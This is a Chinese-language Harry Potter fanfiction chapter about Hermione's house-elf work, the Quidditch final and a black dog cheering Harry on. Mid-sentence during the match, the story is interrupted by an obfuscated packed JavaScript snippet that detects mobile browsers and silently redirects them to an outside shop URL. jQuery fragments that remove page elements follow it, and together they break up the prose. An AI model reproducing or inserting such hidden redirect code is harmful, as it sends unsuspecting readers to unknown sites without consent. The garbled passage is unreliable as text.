“我从来不知道小精灵的魔法和巫师的居然不一样！”在回格兰芬多塔楼的路上，赫敏对哈利激动地说道，“霍格沃茨里巫师不能幻影移形，小精灵却可以！【1】如果他们不是在表演的时候移形那几次，我根本就不知道！我真不敢相信，居然没有一本书提到这件事！”
哈利却似乎不关心这件事，他慢慢地说道：“我之前真不该觉得你在逼迫他们的，赫敏。”他看着赫敏激动得红扑扑的脸蛋，笑了一下，“你真的做到了你之前说的，要让‘没有见过蓝天的飞鸟’看到外面的世界。”【2】
“噢……还差得远呢。”赫敏感觉脸上有些发烫，“直到最后也只有几个年轻的小精灵问我外面还有什么是他们没见过的，其他的小精灵一直在叫着要当欧奇……”
“已经很好了啊。”哈利用他那绿色的眼睛诚恳地望着赫敏，“我们慢慢来。”
他说“我们”的时候是那么自然又那么顺畅，赫敏感觉自己的耳朵都变烫了。
她慌忙躲开哈利的视线，快速地说道：“我和秋之前商量好了，我和她交换着上课，每次结束之后交流一下进度。”她瞟了一眼哈利，又迅速地移开了视线，“你下次还和我一起来吗？”
哈利看着她乌黑的眼圈，担忧道：“我也可以帮你去上……你要不要退掉几门课？”
“噢。”赫敏说道，“我已经决定好了，我学期结束就上交那个道具，下个学年我不上占卜和麻瓜研究了。”
·
但在接下来的复活节假期里，哈利也没有了空余时间。
他几乎变得和赫敏一样忙了——
魁地奇决赛将要在假期结束后的第一个星期六举行，而斯莱特林比格兰芬多领先200分，这意味着他们要整整追平这200分再完成反超才能夺得魁地奇杯！伍德没日没夜地逼着队员们训练。由于哈利是否能抓得到金色飞贼关系着整整150分，伍德更是没命地追着他讨论战术。
更要命的是，整个格兰芬多学院都心系着这场比赛——这是自罗恩的二哥查理·韦斯莱毕业后格兰芬多的第一次夺杯机会！每个格兰芬多学生都对打败斯莱特林抱有极高的热情。
一直到比赛前，格兰芬多与斯莱特林学院之间的氛围都达到了令人紧张的程度，哈利不论到哪里都有斯莱特林学生想要伸腿拌他——所以他到哪儿都有一堆学生护送着【3】，赫敏和罗恩大部分时间都像护卫一样守在他身边，其余的时间里则是由其他的学生代劳。就连火弩箭都被严加看管。
比赛前一天的晚上，格兰芬多公共休息室的所有日常闲聊和游戏全都停止了。弗雷德和乔治凑在一块用魔杖指挥着小人们在魁地奇赛场模型中模拟着比赛，其他魁地奇队员还有学生们则凑在他们身边看着。
哈利远离了喧嚣的人群，躲在了角落。
赫敏放下了书本，和罗恩一左一右挤到他的身边。
“我没法学习，精神集中不起来。”赫敏紧张地说。
她看上去提心吊胆的，但还是宽慰哈利道：“你肯定没问题的。”【4】
罗恩的脸色也很苍白，但还是说道：“斯莱特林可没有火弩箭！”
哈利感觉自己的胃部一阵翻滚，他勉强回答：“是啊……”
“噢……”赫敏更用力地挤了过来，伸手摸了摸他的脑袋。
·
比赛当天的赛场上，满坑满谷都是观众，人群发出大片大片喧嚣的吵嚷声。
大部分的席位上都摇晃着绘有格兰芬多狮子的金红色旗帜，或者打开“格兰芬多加油”“狮子夺杯”这类的横幅标语。斯莱特林的支持者们虽然被佩戴着鲜红色玫瑰花的格兰芬多支持者们挤到了斯莱特林的球门柱后，但也足足有两三百号人。连斯内普教授都来了，他佩戴着墨绿色的饰物坐到了最前排。
格兰芬多观众席上，罗恩、赫敏与拉文德还有帕瓦蒂坐到了一起。
赫敏咬着嘴唇，担忧地说着：“哈利今天早上几乎没吃什么，连南瓜汁都没喝几口……”
拉文德靠过来搂住她的胳膊：“噢……别担心，摄魂怪已经离开了呀，哈利肯定能抓到金色飞贼的……”
帕瓦蒂忽然发出了一声尖叫，她颤抖地指向观众席的后方——
拉文德看过去后，也跟着发出了惊恐的呼叫——
在哈利上次坠落前，拉文德与赫敏在看台上发现黑狗的位置上——
这次居然也端坐着一条巨大的黑狗！
只不过他瞧着似乎和之前那条不太一样——他一点都不瘦骨嶙峋，反而油光水滑的！
帕瓦蒂和拉文德害怕得面色惨白，她们不断念叨着：“不详……死亡的征兆……”拉文德抖抖索索地拉着赫敏劝说道：“你要不让哈利暂停比赛吧……”
但赫敏只是面露恼火地扯着罗恩的胳膊：“他是怎么进来的？邓布利多校长肯定没同意他来！”
“噢，得了吧！”罗恩兴奋地说着，他几乎都不为比赛感到紧张了，“多酷啊！”
克鲁克山大王不知道从哪儿钻了出来，也挤到了大黑狗旁边，和他依靠着坐在一起。
“克鲁克山肯定一早就知道！我就说他今天早上怎么突然就不见了！”赫敏气得头发都要炸开了，“真不知道克鲁克山为什么喜欢陪他一起胡闹！”
拉文德怯怯地扯了扯她：“克鲁克山认识那条大黑狗？”
“是啊！”赫敏没好气地回答，“克鲁克山和他玩得可好了！”
话语间，大黑狗似乎已经发现了坐在不远处的他们——
他庞大的身躯忽然一跃而起，带着克鲁克山大王朝他们跑动着扑了过来。
在拉文德看来，这条大黑狗几乎和克鲁克山一样聪明——他本来想要凑近赫敏，却很快就机灵地发现这个小女巫十分生气，转而舔起了一旁罗恩的脸！
拉文德接住扑过来的克鲁克山大王，娴熟地摸着他毛茸茸的身体，凑到他耳边小声问道：“你觉得这是一条好狗？”
克鲁克山大王发出了肯定的喵喵声。
拉文德不放心地又往旁边看了一眼——大黑狗正和罗恩玩得欢快，赫敏依然怒气冲冲的，似乎在训斥着什么——她这才放松下来，对着帕瓦蒂说道：“我相信赫敏和克鲁克山，那条大黑狗应该不是特里劳妮教授说的不详。”
但帕瓦蒂只是面露怀疑地继续打量那条正在无视赫敏怒火、和罗恩可尽撒欢的大黑狗：“我觉得很可疑。”
·
帕瓦蒂一直到比赛结束前都相信着自己的判断——
斯莱特林打得无比肮脏，一直在不择手段地争夺着鬼飞球。弗林特撞击了进球的安吉丽娜，蒙太甚至刻意想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674373|207424||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抓艾丽娅的脑袋。虽然中途弗雷德报复性地打了回去，但这并没有阻止斯莱特林球员们的无耻行径，他们反而更嚣张了。面对格兰芬多球员们临危不惧，伍德更是一次次把球扑出了球门范围的场面，他们把目光放到了找球手身上——
在第一次金色飞贼出现后，博尔和德里克居然气势汹汹地一左一右夹攻包抄，试图把哈利从火弩箭上撞下去！
在大黑狗怒气勃然的汪汪叫声中，哈利在最后一秒迅速地摆了一个漂亮的飞行转向——博尔和德里克害人不成，反而猛烈地撞在了一起，发出了可怕的“咣当”撞击声响。“好样的！”“哈利·波特！”“最棒的找球手！”观众席上发出一阵阵口哨与欢呼声。
虽然斯莱特林势头很足、打法又极其卑劣，但格兰芬多的球员们还是坚强地逐渐拉大了分数。
在比分来到70比10时，金色飞贼第二次出现了！哈利骑着火弩箭飞速地靠了过去，眼看他就要抓到了——
马尔福为了阻止他拿到金色飞贼，竟然抓住了他火弩箭的尾部！
这实在是太无耻了！霍琦女士尖叫着罚了球，麦格教授甚至没有阻止李·乔丹在解说时对斯莱特林发出的辱骂。观众席上爆发出一阵阵怒吼，大黑狗也在其中发出了咆哮声。
当比分来到80比20的时候，金色飞贼又出现了。
这次，它出现在距离草坪几英尺的地方，而马尔福比哈利的位置近多了——
哈利子弹一般从高空中俯冲下去，眼见马尔福几乎就要志得意满地抓到这颗小球了，而博尔还打来游走球想要干扰他——
哈利俯下身体躲开了攻击，猛地松开了抓着扫帚的双手，扑了上去——
格兰芬多赢了！【5】——
拉文德说的一点儿也没错，那条大黑狗不是不详！
·
在哈利高高举起金色飞贼，比赛结束的瞬间——那条大黑狗像一道闪电一样从观众席上飞了出去——
他跑得比所有人都快，像流星一样一下子就从看台上窜到了赛场上。他强硬地挤开了飞下来的安吉丽娜、艾丽娅、凯蒂、乔治还有弗雷德，甚至使出了惊人的力气顶开了大哭着想要拥抱哈利的伍德，最后一头撞进了哈利的怀里。
哈利看上去特别惊喜，他使劲地搂着这条大黑狗，人群不断涌了上来，队员们、同学们一个个扑过来拥抱他、亲吻他。格兰芬多的队员们嘶吼着“我们夺杯了！”“我们夺杯了！”。许多条胳膊搂在一起，无数只手雨点一般落在他们的背上，欢呼声、庆祝声，金红的色彩像海浪一般一阵阵涌向他们，最后他和其他队员被人群扛了起来，举到了高处。
大黑狗还在怀中不断地舔着他的脸蛋，哈利灿烂地大笑着。透过眼镜，他看到了身上挂满红玫瑰的海格，看到了疯子一样跳上跳下的珀西，看到了比伍德哭得还厉害，正在用一面格兰芬多的大红旗子擦着眼泪的麦格教授，看到了捧着巨大的魁地奇奖杯的邓布利多校长。【6】
最后，他看向了正在拼命往人群中最中心挤着的赫敏还有罗恩——
他们俩的头发都被挤得乱七八糟的，似乎都激动得说不出话了，只是热切地望着他。赫敏脸上红扑扑的，眼中闪动着泪水，看上去比她自己考了最高分还要高兴。
哈利觉得简直没有更幸福的时候了。